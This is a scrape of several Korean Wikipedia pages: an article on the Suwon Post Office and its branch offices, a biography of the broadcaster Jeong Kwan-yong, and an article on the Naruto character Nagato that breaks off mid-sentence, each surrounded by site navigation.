생물학의 역사 원본 주소 "https://ko.wikipedia.org/w/index.php?title=생물학의_역사&oldid=24064330" 분류: 생물학과학사생물학사숨은 분류: 웹아카이브 틀 웨이백 링크영어 표기를 포함한 문서 둘러보기 메뉴 개인 도구 로그인하지 않음토론기여계정 만들기로그인 이름공간 문서토론 변수 보기 읽기편집역사 보기 더 보기 검색 둘러보기 대문사용자 모임요즘 화제최근 바뀜모든 문서 보기임의 문서로도움말기부 도구 여기를 가리키는 문서가리키는 글의 최근 바뀜파일 올리기특수 문서 목록고유 링크문서 정보위키데이터 항목이 문서 인용하기 다른 프로젝트 위키미디어 공용 인쇄/내보내기 책 만들기PDF로 다운로드인쇄용 판 다른 언어 العربيةAsturianuCatalàČeštinaDeutschΕλληνικάEnglishEspañolفارسیSuomiFrançaisעבריתहिन्दीMagyarBahasa IndonesiaItaliano日本語ქართულიLatinaNederlandsPolskiPortuguêsRomânăРусскийSlovenčinaKiswahiliTürkçeУкраїнськаTiếng Việt中文 링크 편집 이 문서는 2019년 4월 19일 (금) 10:44에 마지막으로 편집되었습니다. 모든 문서는 크리에이티브 커먼즈 저작자표시-동일조건변경허락 3.0에 따라 사용할 수 있으며, 추가적인 조건이 적용될 수 있습니다. 자세한 내용은 이용 약관을 참고하십시오.Wikipedia®는 미국 및 다른 국가에 등록되어 있는 Wikimedia Foundation, Inc. 소유의 등록 상표입니다. 개인정보 정책 위키백과 소개 면책 조항 개발자 쿠키 정책 모바일 보기
수원우체국 - 위키백과, 우리 모두의 백과사전 수원우체국 위키백과, 우리 모두의 백과사전. 둘러보기로 가기 검색하러 가기 좌표: 북위 37° 18′ 01″ 동경 126° 59′ 03″ / 북위 37.3003250° 동경 126.9840750°  / 37.3003250; 126.9840750 수원우체국 기본 정보종류 우체국위치 경기도 수원시 장안구 천천로 94(천천동 517)관할지역 경기도 수원시 장안구, 권선구현황 홈페이지 수원우체국 공식 웹사이트 수원우체국(水原郵遞局)은 대한민국 과학기술정보통신부 우정사업본부 경인지방우정청 소속의 우편물 취급기관이다. 경기도 수원시 장안구 천천로 94(천천동 517)에 있다. 목차 1 연혁 2 관할 우체국 3 조직 4 각주 5 외부 링크 연혁[편집] 1895년 9월 28일: 한성우체국 수원지사로 개국 1952년 1월 12일: 수원우체국 으로 개칭 1971년 11월 20일: 청사이전 (팔달구 팔달로1가 109-2) 2002년 8월 1일: 수원파장동우편취급소를 수원송죽동우편취급소로 명칭 변경[1] 2003년 9월 1일: 수원서울대학교우체국 폐국[2] 2005년 1월 1일: 국가행정연수원우체국 폐국[3] 2007년 11월 26일: 현 청사로 이전 (장안구 천천동 517) 2010년 11월 8일: 우편구역을 권선구 및 장안구 전 지역으로 고시[4] 2013년 1월 31일: 수원권선주공우편취급국 위탁계약 해지[5] 2014년 1월 1일: 우편구역을 다음과 같이 고시[6] 수원우체국 관할 우편구역 배달국 배달구역 구역번호 수원우체국 장안구, 권선구 16200 ~ 1622116265 ~ 1632016322 ~ 1642116426 ~ 1643116459, 1646116550 ~ 1667216683(단, 16574, 16573, 16461, 16683의 팔달구, 영통구 지역 제외) 2014년 7월 7일: 수원성균관대학교우체국이 율전동우체국과 통합되어 폐국[7] 2014년 7월 21일: 수원농촌진흥청우체국이 수원정자동우체국과 통합되어 폐국[8] 2014년 10월 1일: 서수원우체국 개국 2014년 10월 6일: 서수원우체국 개국으로 인해 우편구역을 다음과 같이 변경 고시[9] 수원우체국 관할 변경 우편구역 변경전 변경후 배달국 배달구역 배달국 배달구역 행정구역 구역번호 행정구역 구역번호 수원우체국 장안구, 권선구 16200 ~ 1622116265 ~ 1632016322 ~ 1642116426 ~ 1643116459, 1646116550 ~ 1667216683(단, 16574, 16573, 16461, 16683의 팔달구, 영통구 지역 제외) 수원우체국 장안구, 팔달구 16200 ~ 1622116230 ~ 1636316416 ~ 1645816460 ~ 164981653016533 ~ 1653416573 ~ 1657416622(단, 16461, 16573, 16574 권선구 지역 제외) 서수원우체국 권선구 16364 ~ 1636516367 ~ 1639016392 ~ 1641516426 ~ 1643116459, 1646116593 ~ 1962119623 ~ 1962816663 ~ 1667216683(단, 16683 영통구 제외, 16461, 16573, 16574 팔달구 지역 제외) 2014년 11월 10일: 수원보훈원우체국을 수원연무우체국으로 명칭 변경[10] 2014년 12월 22일: 경기도청우체국이 수원화서동우체국과 통합되어 폐국[11] 관할 우체국[편집] 우체국명 사진 주소 비고 경기도청우체국 경기도 수원시 팔달구 효원로 1 2014년 12월 22일 폐국 국가행정연수원우체국 경기도 수원시 장안구 파장동 184 2005년 1월 1일 폐국 수원교동우체국 경기도 수원시 팔달구 행궁로 63 (팔달로3가) 수원농촌진흥청우체국 경기도 수원시 권선구 수인로 126 2014년 7월 21일 폐국 수원북문우체국 경기도 수원시 장안구 수성로 360(영화동) 수원서울대학교우체국 경기도 수원시 권선구 서둔동 103 2003년 9월 1일 폐국 수원성균관대학교우체국 경기도 수원시 장안구 서부로 2066 2014년 7월 7일 폐국 수원성균관대학교우편취급국 경기도 수원시 장안구 서부로 2066 성균관대학교 수원캠퍼스(천천동) 수원송죽동우편취급국 경기도 수원시 장안구 경수대로995번길 8(송죽동) 2002년 8월 1일 수원파장동우편취급소에서 명칭 변경 수원역전우체국 경기도 수원시 팔달구 향교로 13 (매산로1가) 수원연무동우체국 경기도 수원시 장안구 광교산로 97 (하광교동) 2014년 11월 10일 수원보훈원우체국에서 명칭 변경 수원우만1동우편취급국 경기도 수원시 팔달구 월드컵로 361 (우만1동) 수원율전동우체국 경기도 수원시 장안구 하률로 6(천천동) 수원정자동우체국 경기도 수원시 장안구 정자천로134번길 10 (정자동) 수원정자동우편취급국 경기도 수원시 장안구 장안로 286-2(정자동) 수원지동우체국 경기도 수원시 팔달구 경수대로 603 (지동) 수원화서동우체국 경기도 수원시 팔달구 고화로 135 (화서동) 수원화서아파트우편취급국 경기도 수원시 팔달구 화양로 8 (화서동) 조직[편집] 영업과 고객지원실 우편물류과 운용실 소포실 지원과 경영지도실 각주[편집] ↑ 서울체신청고시 제2002-18호, 2002년 6월 27일. ↑ 서울체신청고시 제2003-16호, 2003년 6월 16일. ↑ 서울체신청고시 제2004-49호, 2004년 12월 4일. ↑ 경인체신청고시 제2010-3호, 2010년 11월 8일. ↑ 경인지방우정청고시 제2012-9호, 2012년 12월 7일. ↑ 경인지방우정청고시 제2013-16호, 2013년 12월 26일. ↑ 경인지방우정청고시 제2014-7호, 2014년 6월 17일. ↑ 경인지방우정청고시 제2014-9호, 2014년 6월 25일. ↑ 경인지방우정청고시 제2014-18호, 2014년 10월 6일. ↑ 경인지방우정청고시 제2014-22호, 2014년 10월 15일. ↑ 경인지방우정청고시 제2014-28호, 2014년 12월 3일. 외부 링크[편집] 수원우체국 공식 웹사이트 vdeh 우정사업본부본부 직속 우정공무원교육원 우정사업정보센터 우정사업조달센터 지방우정청서울지방우정청국제우편물류센터 우체국 서울중앙 서울강남 서울광진 서울강서 광화문 서대문 동대문 서울마포 서울관악 서울은평 여의도 서울금천 서울성북 서울강동 서울송파 서울양천 서울동작 서울서초 서울용산 서울노원 서울중랑 서울도봉 서울구로 우편집중국 동서울 경인지방우정청안양우편물류센터 우체국 부천 인천 서인천 인천계양 남인천 인천남동 의정부 수원 동수원 군포 안양 성남 성남분당 안산 고양일산 고양덕양 남양주 시흥 광명 용인수지 평택 용인 화성 화성동탄 부평 서수원 이천 안성 포천 경기광주 파주 김포 구리 강화 가평 양평 여주 동두천 연천 백령 오산 하남 우편집중국 부천 의정부 안양 고양 성남 수원 부산지방우정청부산국제우체국 우체국 부산 동래 남부산 부산사상 부산금정 부산사하 해운대 북부산 부산연제 울산 남울산 마산 창원 진주 김해 부산진 양산 동부산 부산영도 통영 진해 거제 거창 기장 부산강서 동울산 거창 고성 남해 마산합포 밀양 사천 산청 의령 창녕 하동 함안 함양 합천 우편집중국 부산 진주 울산 창원 충청지방우정청우체국 대전 서대전 대전유성 대전대덕 대전둔산 천안 공주 청주 서청주 충주 제천 아산 동천안 세종 서산 논산 금산 홍성 예산 서천 당진 청양 부여 보령 태안 단양 괴산 진천 옥천 음성 영동 보은 우편집중국 대전 청주 천안 전남지방우정청우체국 광주 북광주 서광주 광주광산 목포 여수 순천 광양 나주 해남 강진 고흥 곡성 구례 담양 무안 보성 영광 영암 완도 장성 장흥 진도 함평 화순 우편집중국 광주 영암 경북지방우정청우체국 대구 동대구 서대구 북대구 대구달서 대구수성 포항 경주 안동 구미 경산 영주 상주 달성 김천 영천 의성 문경 울진 예천 영덕 봉화 칠곡 청도 청송 성주 군위 영양 고령 울릉 우편집중국 대구 안동 포항 전북지방우정청우체국 전주 동전주 군산 익산 정읍 김제 완주 남원 부안 무주 임실 진안 순창 고창 장수 우편집중국 전주 강원지방우정청우체국 춘천 원주 강릉 삼척 동해 속초 양구 양양 영월 인제 정선 철원 태백 평창 홍천 화천 횡성 우편집중국 원주 강릉 제주지방우정청우체국 제주 서귀포 우편집중국 제주 원본 주소 "https://ko.wikipedia.org/w/index.php?title=수원우체국&oldid=24247826" 분류: 수원시 소재의 관공서경기도 소재의 우체국숨은 분류: 위키데이터에 있는 좌표 둘러보기 메뉴 개인 도구 로그인하지 않음토론기여계정 만들기로그인 이름공간 문서토론 변수 보기 읽기편집역사 보기 더 보기 검색 둘러보기 대문사용자 모임요즘 화제최근 바뀜모든 문서 보기임의 문서로도움말기부 도구 여기를 가리키는 문서가리키는 글의 최근 바뀜파일 올리기특수 문서 목록고유 링크문서 정보위키데이터 항목이 문서 인용하기 인쇄/내보내기 책 만들기PDF로 다운로드인쇄용 판 다른 언어 링크 추가 이 문서는 2019년 5월 20일 (월) 02:46에 마지막으로 편집되었습니다. 모든 문서는 크리에이티브 커먼즈 저작자표시-동일조건변경허락 3.0에 따라 사용할 수 있으며, 추가적인 조건이 적용될 수 있습니다. 자세한 내용은 이용 약관을 참고하십시오.Wikipedia®는 미국 및 다른 국가에 등록되어 있는 Wikimedia Foundation, Inc. 소유의 등록 상표입니다. 개인정보 정책 위키백과 소개 면책 조항 개발자 쿠키 정책 모바일 보기
정관용 (1962년) - 위키백과, 우리 모두의 백과사전 정관용 (1962년) 위키백과, 우리 모두의 백과사전. 둘러보기로 가기 검색하러 가기 정관용鄭寬容 前 대한민국 대통령 비서실 행정보좌관 임기 1993년 3월 2일 ~ 1995년 3월 2일 대통령 김영삼 총리 이회창 (국무총리) 이영덕 (국무총리 권한대행) 이영덕 (국무총리) 이홍구 (국무총리) 신상정보 출생일 1962년 10월 10일(1962-10-10) (56세) 출생지 대한민국 충청남도 천안 학력 한양대 대학원 경력 前 경희대학교 객원교수 정당 무소속 별명 호(號)는 한사(翰史), 산남(山南) 닉네임은 방송 진행의 교과서 종교 개신교 정관용(鄭寬容, 1962년 10월 10일 ~ )은 대한민국의 시사평론가이다. 프리랜서 방송진행자로서, '방송 진행의 교과서'라는 별칭이 있다.[1][2] 2017년 현재 한림국제대학원대학교 미국법학과 교수이다.[3] 주요 저서(시사평론)에 《우울한 세상과의 따뜻한 대화》 등이 있다. 목차 1 생애 2 학력 3 경력 4 상훈 5 방송 진행 6 저서 7 여타 사건과 논란 관련 7.1 미디어워치의 논문 표절 의혹 제기 8 각주 생애[편집] 1962년 10월 10일 충남 천안에서 태어났다. 숭실고등학교에 다니며 시인을 꿈꾸고 서울대학교 사회학과에 입학해 가장 먼저 찾아간 곳은 '문학연구회' 동아리였다. 연극반 활동으로 연극 무대에 서는 등 낭만적인 문예기질을 키우는 한편 학생회장을 맡아 학생운동에도 참여하였다. 1985년 '현대사회연구소'에 입사하였으며, 노동조합을 만들어 노조위원장이 되어 노동쟁의를 이끌다가 해고되었다. 이후 '한국사회과학연구소'·'나라정책개발원'에서 연구원으로 일했다. 1990년 CBS 뉴스 해설을 시작으로 방송계에 입문하였다. 1993년 김영삼 정부 청와대 비서실 행정관이 되었으며, 2년간 일하였다. 1998년 SBS '뉴스 대행진' 의 뉴스해설가로 본격적으로 방송인의 길을 걸었다. 2008년 히말라야 여행을 떠나고 2009년 돌아와 《나는 당신의 말할 권리를 지지한다》를 썼다. 2010년 방송계에 복귀하며 CBS 《시사자키 정관용입니다》, KBS 《생방송 심야토론》, KBS 《열린토론》 등에서 토론 진행자로서 활동했다.[4] 2013년 손석희 JTBC 보도부문 사장은 《정관용 라이브》라는 시사토크쇼 프로그램을 신설하여 그에게 맡김으로써 그를 '한국판 래리킹'의 적임자로 지목하였다.[5] 학력[편집] 숭실고등학교 서울대학교 사회학 학사 국민대학교 대학원 정치외교학과 정치학 석사 (학위논문명 - 한국의 국가성격에 관한 일 연구 : 중화학공업화정책을 중심으로) 한양대학교 대학원 신문방송학과 언론학 박사 과정 수료 경력[편집] 1990년 CBS 해설위원 1993년 대통령비서실 행정관 2001년 프레시안 정치에디터 2004년 프레시안 정치상임편집위원 2005년 프레시안 이사 2006년 경희대학교 언론정보학부 객원교수 한림국제대학원대학교 미국법학과 교수 상훈[편집] 2007년 제34회 한국방송대상 진행자상, 제19회 한국프로듀서상 라디오진행자 부문 방송 진행[편집] SBS 라디오 《792 뉴스대행진》 KBS 1라디오 《안녕하십니까 정관용입니다》 KBS1 《일요진단》 현 KBS1 《생방송 심야토론》 KBS1 라디오 《KBS 열린토론》 MBC 《100분 토론》 JTBC 《정관용 라이브》 현 EBS 《EBS 초대석》 현 CBS 라디오 《시사자키 정관용입니다》 MBC 《무한도전》 TV 토론회 : 2014년 5월 17일[6] 현 KBS 1라디오 《정관용의 지금, 이 사람》 저서[편집] 《우울한 세상과의 따뜻한 대화》. 사람과책. 1999년. ISBN 8981170428 《나는 당신의 말할 권리를 지지한다》. 위즈덤하우스. 2009년. ISBN 9788960862166 여타 사건과 논란 관련[편집] 미디어워치의 논문 표절 의혹 제기[편집] 2013년 12월, 연구진실성검증센터(변희재가 대표로 있는 주간 미디어워치로 부터 분리 독립한 기관)이 석사논문 표절 혐의를 제기했으며 이는 미디어워치를 통해 보도되었다.[7] 미디어워치는 국민대도 조사에 들어간 것으로 확인됐다고 보도했다.[8] 각주[편집] ↑ 김혜미. '토론 프로그램의 교과서' 정관용. 이데일리. 2012년 9월 20일. ↑ 김세옥. “시대정신 대변하는 언론인이고 싶다”. PD저널. 2012년 10월 8일. ↑ 한림국제대학원대학교 미국법학과 교수 명단[깨진 링크(과거 내용 찾기)] ↑ 김현주·유미지. 시사 토론 진행의 바이블, 정관용 교수를 만났다. 코스모폴리탄. 2014년 7월호. ↑ 이나래. 정관용 교수, JTBC 뉴스쇼 MC낙점 ‘손석희가 공들였다’. 뉴스엔. 2013년 8월 29일. ↑ 정관용 무한도전 TV 토론쇼 진행 정관용효과 ↑ 이문원. 정관용도 논문 표절, JTBC 표절 방송국 되나? . 미디어워치. 2013년 12월 20일. ↑ 이문원. 정관용 씨 표절 혐의, 국민대서 조사 개시 . 미디어워치. 2014년 1월 28일. 이 글은 작가에 관한 토막글입니다. 여러분의 지식으로 알차게 문서를 완성해 갑시다. 이 글은 교육인에 관한 토막글입니다. 여러분의 지식으로 알차게 문서를 완성해 갑시다. 원본 주소 "https://ko.wikipedia.org/w/index.php?title=정관용_(1962년)&oldid=24532081" 분류: 1962년 태어남살아있는 사람대한민국의 시사 평론가김영삼 정부대한민국의 별정직공무원대한민국의 문학 평론가대한민국의 연극 평론가국민대학교 교수서강대학교 교수연세대학교 교수경희대학교 교수대한민국의 방송인대한민국의 개신교도대한민국의 기업인대한민국의 저술가숭실고등학교 동문서울대학교 사회과학대학 동문국민대학교 동문한양대학교 대학원 동문천안시 출신숨은 분류: 깨진 링크를 가지고 있는 문서작가에 관한 토막글교육인에 관한 토막글큰 토막글 문서모든 토막글 문서 둘러보기 메뉴 개인 도구 로그인하지 않음토론기여계정 만들기로그인 이름공간 문서토론 변수 보기 읽기편집역사 보기 더 보기 검색 둘러보기 대문사용자 모임요즘 화제최근 바뀜모든 문서 보기임의 문서로도움말기부 도구 여기를 가리키는 문서가리키는 글의 최근 바뀜파일 올리기특수 문서 목록고유 링크문서 정보위키데이터 항목이 문서 인용하기 인쇄/내보내기 책 만들기PDF로 다운로드인쇄용 판 다른 언어 링크 추가 이 문서는 2019년 7월 6일 (토) 08:00에 마지막으로 편집되었습니다. 모든 문서는 크리에이티브 커먼즈 저작자표시-동일조건변경허락 3.0에 따라 사용할 수 있으며, 추가적인 조건이 적용될 수 있습니다. 자세한 내용은 이용 약관을 참고하십시오.Wikipedia®는 미국 및 다른 국가에 등록되어 있는 Wikimedia Foundation, Inc. 소유의 등록 상표입니다. 개인정보 정책 위키백과 소개 면책 조항 개발자 쿠키 정책 모바일 보기
나가토 (나루토) - 위키백과, 우리 모두의 백과사전 나가토 (나루토) 위키백과, 우리 모두의 백과사전. 둘러보기로 가기 검색하러 가기 이 문서의 내용은 출처가 분명하지 않습니다.이 문서를 편집하여, 신뢰할 수 있는 출처를 표기해 주세요. 검증되지 않은 내용은 삭제될 수도 있습니다. 내용에 대한 의견은 토론 문서에서 나누어 주세요. (2011년 11월) 나가토(長門) 또는 페인(ペイン)는 아카츠키(暁)와 비 마을(雨隠れの里)의 리더로, 질풍전 시리즈의 주조연이다. 아카츠키 멤버들에게는 "리더"라 불리지만, 파트너인 코난(小南)에게는 이름으로 불린다. 나가토는 아카츠키 멤버들에게 임무를 나눠주고 리더로써 그들의 행동들을 주관한다. 아카츠키 멤버들에게는 비밀로 토비[가짜 우치하 마다라(우치하 오비토)]와 협력하고 있었다. 목차 1 나가토의 배경 1.1 초대 아카츠키(暁) 2 모습 3 성격 4 능력 4.1 페인 육도(六道) 5 등장 5.1 질풍전 5.2 이타치 뒤쫓기 일주 5.3 츠지구모 일족 금술(禁術) 일주 5.4 페인의 나뭇잎마을 정복 5.5 닌자세계대전 일주 6 나가토의 유산 7 나가토의 탄생배경 8 나가토에 대한 일반 상식 나가토의 배경[편집] 우치하 마다라에 의거하면, 나가토는 우즈마키 일족(うずまき一族)의 자손이다. 제2차세계닌자대전(第二次忍界大戦) 일어났을 당시에는 나가토는 부모님과 비 마을 가까이에 살고있었다. 하루는 두명의 나뭇잎 닌자(木ノ葉の忍)들이 나가토의 집을 빈집이라 인식하고 음식을 찾기위해 침입했다. 나가토의 부모님은 자신들이 죽을것이라고 확신하고 그 두 닌자를 공격하고, 그 틈을 틈타 나가토를 도망치게 하려고 했다. 하지만 나뭇잎 닌자들은 나가토의 부모님을 적군닌자로 착각하여 살해한다. 그때 나가토는 부모님을 잃은 깊은 슬픔으로 처음으로 윤회안(輪廻眼)을 일으키고 동력으로 나뭇잎 닌자들을 살해한다. 성인이 되었을때 나가토는 이 사건을 자신의 첫 번째 비수같은 고통이라고 칭했다. 가족을 잃은 나가토는 문들을 두들이며 음식을 구걸하는 떠돌이 신세가 되었다. 그때 나가토는 "치비"라는 강아지를 만나고, 그 후에 코난과 야히코(弥彦)를 만난다. 하루는 한조와 지라이야 (나루토), 츠나데, 오로치마루 (이 대결 후, 나뭇잎 마을 전설의 3닌자로 칭해진다)가 싸우는 곳 주변을 우연히 걷다가 엄청 큰 폭발로 인해 셋은 다치고 치비는 죽는다. 나가토는 세상을 바꾸겠다고 결심한다. 전쟁이 끝나고 나가토, 코난, 야히코(비 마을 고아들)은 전설의 3닌자와 맞닥드린다. 그 만남 이후 지라이야는 비 마을 고아들과 남아 인술을 가르치게 된다. 지라이야와 같이 살게 된지 얼마 되지 않았을때, 나가토와 야히코는 공격스러운 바위마을(岩隠れの里) 닌자를 만난다. 나가토는 그때 다시한번 윤회안을 가동시켜 바위닌자를 죽이고 야히코를 지킨다. 코난의 말을 듣고 달려온 지라이야는 그때 나가토의 윤회안을 보고 그들에게 인술을 가르치기를 결심한다. 나가토는 바위닌자를 죽인것에 괴로워 하며 죄책감에 시달리며, 지라이야에게 코난과 야히코를 지킬수 있게 가르쳐 달라고 한다. 지라이야의 답은 나가토에게 "육도선인(六道仙人)의 눈을 가진 너는 나중에 크면 그 눈을 이용해 그 둘을 지키며 세상에 평화를 찾으면 된다"고 했다. 그리고 3년 후 지라이야는 그들이 자립할 수 있는걸 알때 나뭇잎마을로 돌아왔다. 초대 아카츠키(暁)[편집] 그 후 몇년간 비 마을 고아들의 위업들을 들은 지라이야는 후에 그들이 죽었다는 소식도 듣게된다. 사실은 나가토, 코난, 그리고 야히코는 평화를 찾기위해 한걸음씩 나아가기 시작한 것이었다. 그들은 야히코를 리더로하여 아카츠키를 결성했다. 아카츠키는 전쟁을 끝내고 싶다는 마음을 품은 실력있는 추종자들로 이루어져 있었다. 그러한 아카츠키를 경계하던 비 마을의 리더, 도롱뇽 한조(山椒魚の半蔵)는 나뭇잎 마을의 암부:뿌리(暗部:根)의 시무라 단조(志村ダンゾウ)와 합세하여 아카츠키를 무너뜨리려고 했다. 평화를 의논한다는 명목 하에 한조는 나가토와 야히코 그리고 코난을 매복지로 불러내었다. 그때에 한조는 나가토에게 야히코와 코난 둘중 한명을 선택하라고 협박했다. 나가토에게 선택을 강요하고 싶지 않았던 야히코는, 자의로 나가토가 들고있던 쿠나이로 돌진했다. 그때 야히코는 죽어가면서 나가토에게 꼭 살아남아서 지라이야가 말했던 것처럼, 이 세상의 구세주가 되라고 했다. 후에 나가토는 이것이 자신의 두 번째 비수같은 고통이라고 칭했다. 엄청난 충격을 받는 나가토는 코난을 구해내고, 야히코의 시체를 옆에 두고 한조의 부하들을 공격하기 시작했다. 그 때 나가토는 소환수:외도마상(口寄せ:外道外道)을 이용해 한조를 제외한 모든 인력들을 제거할 수 있었다. 하지만 그 인법은 나가토를 쇠약하게 만들고 등에는 수많은 차크라 수신기로 인해 거동불능의 상태가 되었다. 그는 그때 비 마을에 대한 충성을 고하며 자신의 비 마을 서클렛에 가운데에 가로로 직선의 줄을 그으며, 세상에 그의 고통을 가르치기로 마음먹었다. 그 후 야히코의 시체는 육도페인(ペイン六道)중 천도(天道)의 몸으로 쓰였고, 아카츠키의 리더로 만들었다. 육도페인을 소유하면서, 나가토는 비 마을의 반란군들을 이끌고 한조와 한조의 측근들을 다 죽임으로 인해 비 마을의 리더가 되었다. 모습[편집] 나가토는 피부가 희고 턱까지 오는 빨간머리(우즈마키 일족의 트레이드 마크)와, 나가토를 더욱 더 눈에 띄게하는 윤회안을 갖고있다. 어린 나가토는 머리가 눈을 항상 가리고있어서 보통의 눈은 보인적이 없다. 나가토는 장신의 성인이 되었지만, 외도마상 소환후에는 눈에 띄게 쇠약해지고 등에는 차크라 수신기를 꽂게됐다. 등을 제외하고 양어깨 관절과 팔뚝, 그리고 쇄골 밑에 스크류드라이버과 흡사한 두개의 차크라 수신기를 꽂고있다. 거행이 불편해진 나가토는 기계에 의존하고 있었는데, 그 기계는 자기방어를 위해 차크라를 방해하는 칼날을(사실상 차크라 수신기이다 지라이야를 무참히 살해한 전축생도 제외 5명이 쓴 무기들 역시 차크라 수신기를 날카롭게 만들어 창으로 사용한 것이다) 쏠수 있었다. 나가토는 유일하게 아카츠키 유니폼을 입지 않았던 구성원으로, 줄이 그어진 써클렛도 한조를 죽인 후에 쓰지 않았다. 하지만 여섯명 모두의 육도페인은 써클렛을 하고있었다. 차크라를 모두 소진시키면서까지 나뭇잎 마을 주민들을 모두 살리기 위해 나가토가 사용한 마지막 인술인 외도:윤회천생술(外道:輪廻天生の術)은 나가토의 빨간 머리를 백발로 만들었다. 제4차세계닌자대전(第四次忍界大戦)때에 카부토로 인해 부활했을 당시에는, 등에 있던 차크라 수신기를 제외하곤 죽을 당시와 동일한 모습으로 있었다. 하지만 버전 2 상태의 킬러B와 싸울때 빨아들인 차크라로 힘을 얻은 나가토는, 빨간 머리과 근육들을 다시 얻음으로 인해 초기 아카츠키 당시와 비슷한 모습으로 돌아왔다. 성격[편집] 나가토는 예민하지만, 착하고, 잘 울고, (자신의 친구를 살리는 일임에도 불구하고)살인에 대한 충격이 컸다. 겁이 많고, 세상에서의 자신의 위치가 불확실하다 생각했고, 자신이 소중하게 여기는 사람들을 지키고 싶었지만 방법을 알지 못했다. 나가토는 비 마을에서 "신의 천사"라 불리는 한결같이 코난을 존중하고 친절하게 대했다. 코난을 지키기 위해선, 지라이야와 코난과의 대결에서와 같이, 부탁받지 않아도 주저하지 않고 지켜줬다. 코난이 유일하게 나가토를 이름으로 부르는 구성원이었다. 나가토는 야히코를 향한 코난의 감정을 잘 알고 있기 때문에, 둘만의 시간을 주었다. 페인으로써의 나가토는 매우 달랐다. 아주 침착하고, 진지하며, 냉담하며 고립된 인간이었다. 나가토는 어릴때 경험했던 충격들과 아픔들이 고통과 아픔의 참 뜻이라 전하며 자신을 "신"이라 칭했다. 또한 자신이 모든 인간들보다 우월하다 믿었다. 나가토는 미래에 일어날 전쟁을 막기위해 죄책감 하나 없이 완전파괴를 하고 그로 인해 이 세상이 고통의 참 뜻을 깨닿길 원했다. 나중에 나가토는 자신의 계획을 위해 옛 선생이던 지라이야까지 죽이기에 이른다. 그리고 자신을 평화의 신이라고 칭하며 이 세상에 고통을 가져옮으로써 모든것들이 성숙해 지기를 원했다. 나가토는 야히코가 항상 말하던, 그 누구도 참 고통을 알지 못하면 참 평화도 모른다는 생각을 받아들인다. 나미카제 미나토는 우치하 마다라가 자신의 계획을 성사시키기 위해, 이 생각을 이용해 나가토를 조종했다고 했다. 애니메이션에서는, 나가토는 "고통"에 대해 얘기할때면 예민하게 그려졌다. 모리노 이비키가 특별소환수를 이용해 자신과 축생도의 고통을 연결시키는데, 그때 나가토는 축생도를 통해 그의 격노를 표현했다. 그는 이비키는 참 고통을 눈꼽만큼도 모른다고 칭하며 이비키를 맹렬히 공격했다. 하지만 이런성격과 동시에, 나가토는 특히 죽은 사람들에 대해 경의를 표하였다. 예를 들자면, 아카츠키 멤버들에게 서로 조금 더 좋은 관계를 지니도록 유도하였다. 그리고 데이다라가 죽었을때는 모두에게 묵념하라 이르고, 키사메가 히단과 카쿠즈를 "좀비콤비"라고 칭했을때는 그를 나무랐다. 육도를 이용해 지라이야를 죽였을 때에는 그의 옛 선생의 능력을 존중하며 묵념의 시간을 가졌다. 나뭇잎 마을이 나가토의 인생 속 비극들을 가져온 근원으로써 나뭇잎 마을에 대한 큰 반감심이 있었지만, 지라이야와 함께한 시간들로 인해 마음을 조금씩 고쳐먹었다. 하지만 여전히 나뭇잎 마을은 다른사람들에게 비극을 가져옮으로써 이익을 차지한다 생각해서, 나뭇잎 마을과 옛 선생님에 대한 증오가 더욱 더 커졌다. 부활 후의 나가토는, 근심과 걱정이 없었고 더 큰 온화함으로 농담까지 할 수 있는 성격을 갖고있었다. 또한 나루토를 향한 믿음 까지 더 강해져 있었으며, 우치하 이타치에게 말하기를, 나루토가 구미를 이기고 구미를 마음대로 조종할 수 있게 된것에는 놀랍지 않다고 했다, 왜냐하면 나루토 역시 자신의 옛 선생님에게 수련을 받았기 때문이다 라고 했다. 능력[편집] 그는 아카츠키의 리더이자 비 마을의 내전의 승리자로, 엄청난 힘을 가진 닌자였다. 그는 또한 아카츠키에서 가장 강력한 구성원으로 분류되었는데, 나가토의 나뭇잎 마을 공격당시엔 육도페인을 조종하고, 많은 인술을 쓴 후에도 선인모드의 나루토와 싸우고 점령당시 죽은 나뭇잎 마을의 모든 사람들을 살려낼수 있는 차크라를 갖고있었다. 코난의 의거하면, 페인은 무적으로, 싸움에서 한번도 진적이 없다고한다. 마다라 역시 지라이야의 능력에 감탄하면서 나가토의 그런 능력을 거론할 정도였다. 나가토는 육도페인을 사용함으로 인해 지라이야를 손쉽게 이겼다. 지라이야와의 대결 후 나가토는, 만약 그가 육도페인을 소유하지 않고, 지라이야의 환법방법을 알지못함과 동시에, 지라이야가 육도페인의 비밀을 알았다면 자신은 이기지 못했을것이라 말했다. 제츠는 나가토가 모든 차크라를 소진한체 죽었다는 사실에 경악을 금치 못했다. 야쿠시 카부토의 소환술:예토전생(口寄せ:穢土転生)로 인해 부활 했을때는, 나루토와 킬러B를 손쉽게 제압하고 죽이기 바로 직전까지 이른다. 하지만 우치하 이타치의 방해로 인해 실패하고, 그들 셋과 대결하기에 이른다. 나가토도 우즈마키 일족의 한 사람으로써 믿을수 없을만큼 장수할 수 있는 가능성이 있었다. 나가토의 다리는 예전에 매복지에서의 한조의 화둔 술법(기폭찰을 감아 터뜨리는 기술)에 당한 탓에 많이 손상되어있었다. 그래서 혼자의 힘으로 서 있을수는 있었으나 빨리 움직일수는 없었다. 거기에 외도마상 소환과 외도마상 에서 나온 차크라 수신기 때문에 피골이 상접한 몰골이되었다 그러한 이유로 그를대신할 육도페인을 만들어 조종했다. 부활 후엔 소환술을 이용해 움직이고 상대의 공격이 닿지 않을곳으로 피할 수 있었다. 윤회안 나가토의 엄청난 힘의 근원은 그의 혈계한계인 전설의 윤회안에서 온다고 할 수 있다. 이 혈계한계는 세계의 첫 닌자이자 현대의 인술의 창시자인 육도선인의 것으로 전해진다. 지라이야에 의하면, 나가토는 10세에 세상에 존재하는 모든 인술을 다 깨우쳤고, 유일하게 여섯개 모두의 자연기변환능력을 소유하고 있는 사람이다. 이비키에 의하면 윤회안은 나가토가 원하는 인술을 구사할 수 있게 해준다고 하였다. 나가토는 환술에 능숙하고, 자신의 부하들이 갖고있는 비밀정보를 흘리지 않게 위해 함정과 장벽을 그들의 머릿속 안에 설치하였다. 또 윤회안은 다른 모든 동술들의 능력과 같이 다른 닌자들의 차크라의 위치를 볼수있다. 페인 육도(六道)[편집] 육도란, 불교의 윤회의 한 부분인 삼계육도중 욕계(欲界)에 속한 세계를 뜻한다. 그 세계는 천도(天道),수라도(修羅道),인간도(人間道),축생도(畜生道),아귀도(餓鬼道), 그리고 지옥도(地獄道)로 분류되는데, 페인의 여섯 신체들은 각각 육도의 이름을 갖고있다. 육도 페인의 공통점은 밝은 주황색의 머리색깔과 윤회안이다(수라도는 